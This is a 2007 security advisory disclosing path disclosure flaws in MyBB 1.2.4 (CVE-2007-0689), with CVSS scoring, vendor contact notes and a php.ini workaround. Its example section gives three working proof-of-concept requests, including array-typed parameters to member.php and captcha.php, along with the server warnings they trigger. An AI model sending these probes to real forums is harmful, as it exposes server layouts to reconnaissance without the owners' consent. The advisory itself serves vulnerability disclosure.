netVigilance Security Advisory #17 MyBB version 1.2.4 Multiple Path Disclosure Vulnerabilities Description: MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. Full control over your discussion system is presented right at the tip of your fingers, from multiple styles and themes to the ultimate customisation of your forums using the template system. External References: Mitre CVE: CVE-2007-0689 NVD NIST: CVE-2007-0689 OSVDB: 34155 Summary: MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. Multiple pass disclosure vulnerabilities in the product allow attackers to gather the true path of the server-side script. Advisory URL: http://www.netvigilance.com/advisory0017 Release Date: 05/13/2007 Severity: Risk: Low CVSS Metrics Access Vector: Remote Access Complexity: Low Authentication: not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 2.33 Target Distribution on Internet: Medium Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Confirmed Vulnerability Impact: Attack Host Impact: Path disclosure. SecureScout Testcase ID: Vulnerable Systems: MyBB version 1.2.4 Vulnerability Type: Program flaw - The captcha.php, member.php and event.php scripts has flaws which lead to a Warning or even Fatal Errors. Vendor: MyBB Vendor Status: Contact with the Vendor was established and draft of the security advisory was provided on 11 April 2007, the vendor promised to fix the issue but stopped responding to our emails on 11 April 2007. There is no official fix at the release of this Security Advisory Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers). Example: Path Disclosure Vulnerability 1: REQUEST: http://[TARGET]/[mybb-directory]/member.php?action[]=register REPLY: <br /> <b>Warning</b>: Illegal offset type in unset in <b>[SERVER_PATH_TO_FILE][mybb-directory]\global.php</b> on line <b>41</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at [SERVER_PATH_TO_FILE][mybb-directory]\global.php:41) in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\functions.php</b> on line <b>1121</b><br /> Path Disclosure Vulnerability 2: REQUEST: http://[TARGET]/[mybb-directory]/captcha.php?imagehash[]=123 REPLY: <br /> <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php</b> on line <b>632</b><br /> <br /> <b>Warning</b>: Division by zero in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>210</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at [SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php:632) in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>114</b><br /> ?PNG Path Disclosure Vulnerability 3: REQUEST: http://[TARGET]/[mybb-directory]/inc/datahandlers/event.php REPLY: <br /> <b>Fatal error</b>: Class 'DataHandler' not found in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\datahandlers\event.php</b> on line <b>16</b><br /> Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com
